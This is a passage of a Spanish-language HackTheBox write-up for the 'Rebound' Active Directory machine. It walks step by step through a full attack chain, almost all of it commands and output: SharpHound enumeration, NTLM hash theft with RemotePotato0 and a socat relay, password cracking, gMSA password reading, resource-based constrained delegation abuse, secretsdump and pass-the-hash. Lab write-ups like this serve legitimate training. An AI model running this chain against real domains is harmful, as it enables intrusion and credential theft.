$ evil-winrm -i 10.129.10.89 -u winrm_svc -p 'Password123.' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami rebound\winrm_svc *Evil-WinRM* PS C:\Users\winrm_svc\Documents> hostname dc01 *Evil-WinRM* PS C:\Users\winrm_svc\Documents> |
Obteniendo la flag de user
Una vez dentro vamos al escritorio y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
*Evil-WinRM* PS C:\Users\winrm_svc> cd desktop *Evil-WinRM* PS C:\Users\winrm_svc\desktop> dir Directory: C:\Users\winrm_svc\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 9/13/2023 12:53 AM 34 user.txt *Evil-WinRM* PS C:\Users\winrm_svc\desktop> type user.txt 129736bbeb268ca72eccc52970269c4f *Evil-WinRM* PS C:\Users\winrm_svc\desktop> |
Enumeración del Active Directory
Ya estamos dentro, así que para poder continuar, vamos a sacar un dump de la configuración del AD con bloodhound para su análisis.
Subimos e importamos el módulo de SharpHound
|
1 |
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> Import-Module .\Sharphound.ps1 |
Y recolectamos
|
1 |
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\winrm_svc\Documents\ -OutputPrefix "rebound_audit" |
Revisamos los mismos y vemos varias cosas interesantes, por un lado, el usuario tbrady puede leer las GSMA password del usuario delegator$
Y por otra parte que es posible explotar una delegación restringida del usuario delegator$ para delegar permisos a otro usuario con el cual poder impersonarse como dc01, así que los pasos a realizar serían los siguientes:
- Necesitamos obtener acceso con el usuario tbrady
- Obtener la password GMSA del usuario delegator$
- Abusar de la delegación restringida para delegar permisos en el usuario ldap_monitor
- Impersonarnos como dc01
- Dumpear las credenciales del usuario admin
Para la parte de delegación podemos ayudarnos de este post.
Vistos los pasos vamos a ello.
Escalado al usuario tbrady
Una vez revisado a fondo el ad, vamos a utilizar la tool de RemotePotato para obtener el hash del usuario tbrady.
Así que una vez descargada y subida la herramienta, ejecutamos socat para la escucha
|
1 |
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.10.89:9999 |
Y posteriormente ejecutamos RemotePotato contra nuestra máquina para obtener el hash
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
*Evil-WinRM* PS C:\temp> .\RemotePotato0.exe -m 2 -r 10.10.14.14 -x 10.10.14.14 -p 9999 -s 1 [*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on 10.10.14.14 to your victim machine on port 9999 [*] Example Network redirector: sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999 [*] Starting the RPC server to capture the credentials hash from the user authentication!! [*] Spawning COM object in the session: 1 [*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54} [*] RPC relay server listening on port 9997 ... [*] Starting RogueOxidResolver RPC Server listening on port 9999 ... [*] IStoragetrigger written: 104 bytes [*] ServerAlive2 RPC Call [*] ResolveOxid2 RPC call [+] Received the relayed authentication on the RPC relay server on port 9997 [*] Connected to RPC Server 127.0.0.1 on port 9999 [+] User hash stolen! NTLMv2 Client : DC01 NTLMv2 Username : rebound\tbrady NTLMv2 Hash : tbrady::rebound:d3e5b425caca8ae2:f9f05b5220f13207199cbcd20186f6ac:01010000000000001f4e8aebb6e6d9012f8ef1ad03f5538b0000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e00680074006200070008001f4e8aebb6e6d901060004000600000008003000300000000000000001000000002000008ec136080547d037769c898722d09d55bfa79f89ce02852bb6d4ae495d6703930a00100000000000000000000000000000000000090000000000000000000000 |
Ya tenemos el hash, ahora lo pasamos por john y conseguimos la clave en plano
|
1 2 3 4 5 6 7 8 9 |
$ john tbrady.hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 543BOMBOMBUNmanda (tbrady) 1g 0:00:00:15 DONE (2023-09-13 19:58) 0.06397g/s 779890p/s 779890c/s 779890C/s 5442657..5435844 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed. |
Lectura de la password GMSA
Para este paso, en nuestro caso, continuamos utilizando bloodyAD, aunque hay otras opciones. Para evitar problemas con la hora utilizamos la tool faketime, que nos facilita esta tarea, y lanzamos
|
1 2 3 4 5 |
$ faketime -f +7h bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' --host dc01.rebound.htb get object 'delegator$' --resolve-sd --attr msDS-ManagedPassword distinguishedName: CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:9b0ccb7d34c670b2a9c81c45bc8befc3 msDS-ManagedPassword.B64ENCODED: IOCJT/tYf2VGNZVrkcIZv2aLwO+6Ehw/7l7W8qzd809vkDqv2wFGs1cHaR6S9fLT3qo1SupEZbSz2V/yS+CKJDLUSVWpTSKFrogU1K5JUonhbMHPAzduYOJJr9LpgRbyGA7juR3ZyqWQz9nJnqlK6A/FcrVT92BlPdLPggRj5IAHn7GstcyTpSl+AM398LfI9P7o+ffdhg2sxk6HSrlXcQG5U1DdQCKCuKSfxhP+SZ/ztoykdM5DfWWN/yTfw0SAoiBI0TBVLZI6JFDqipbcmbOP4+ktCXIBwyRz9PGmbf2lu+9VZuw0mKR7jC3AlxgrBK2BUgm1O7yk/vwTqsL8TA== |
Delegación de permisos
Una vez tenemos los hashes, obtenemos un ticket del usuario delegator$
|
1 2 3 4 |
$ faketime -f +7h impacket-getTGT 'rebound.htb/delegator$' -hashes aad3b435b51404eeaad3b435b51404ee:9b0ccb7d34c670b2a9c81c45bc8befc3 -dc-ip 10.129.10.89 Impacket v0.11.0 - Copyright 2023 Fortra [*] Saving ticket in delegator$.ccache |
Ahora exportamos el ticket
|
1 |
$ KRB5CCNAME=delegator\$.ccache |
Y delegamos en el usuario ldap_monitor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ faketime -f +7h impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -use-ldaps -debug -dc-ip 10.129.10.89 Impacket v0.11.0 - Copyright 2023 Fortra [+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket [+] Using Kerberos Cache: delegator$@dc01.rebound.htb.ccache [+] SPN LDAP/DC01@REBOUND.HTB not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for KRBTGT/REBOUND.HTB@REBOUND.HTB [+] Using TGT from cache [+] Trying to connect to KDC at 10.129.10.89:88 [+] Initializing domainDumper() [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681) |
Escalado a dc01
Una vez delegados los privilegios, obtenemos un ticket del usuario ldap_monitor
|
1 2 3 4 |
$ faketime -f +7h impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.129.10.89 Impacket v0.11.0 - Copyright 2023 Fortra [*] Saving ticket in ldap_monitor.ccache |
Exportamos
|
1 |
$ export KRB5CCNAME=ldap_monitor.ccache |
Y obtenemos un ticket de dc01
|
1 2 3 4 5 6 7 |
$ faketime -f +7h impacket-getST -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass -dc-ip 10.129.10.89 Impacket v0.11.0 - Copyright 2023 Fortra [*] Impersonating dc01$ [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in dc01$.ccache |
Ahora que lo tenemos lo exportamos
|
1 |
$ export KRB5CCNAME=dc01\$.ccache |
Y generamos un ticket adicional
|
1 2 3 4 5 6 7 8 |
$ faketime -f +7h impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes aad3b435b51404eeaad3b435b51404ee:9b0ccb7d34c670b2a9c81c45bc8befc3 -k -no-pass -dc-ip 10.129.10.89 Impacket v0.11.0 - Copyright 2023 Fortra [*] Getting TGT for user [*] Impersonating dc01$ [*] Using additional ticket dc01$.ccache instead of S4U2Self [*] Requesting S4U2Proxy [*] Saving ticket in dc01$.ccache |
Dumpeo de hashes
Con el ticket de dc01 sacamos los hashes del usuario administrator con secretsdump de impacket
|
1 2 3 4 5 6 7 8 9 10 11 |
$ faketime -f +7h impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user administrator -dc-ip 10.129.10.89 Impacket v0.11.0 - Copyright 2023 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:176bexxxxxxxxxxxxxxxxxxxxxxx1b8::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:32fd2c37d71def86d7687c95c62395ffcbeaf13045d1779d6c0b95b056d5adb1 Administrator:aes128-cts-hmac-sha1-96:efc20229b67e032cba60e05a6c21431f Administrator:des-cbc-md5:ad8ac2a825fe1080 [*] Cleaning up... |
Obteniendo la flag de root
Con el hash del usuario administrator obtenido, conectamos por winrm y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ evil-winrm -i 10.129.10.89 -u administrator -H 176xxxxxxxxxxxxxxxxxxxxx1b8 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami rebound\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\desktop\root.txt fd09e090df190691ba029653322de44e *Evil-WinRM* PS C:\Users\Administrator\Documents> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
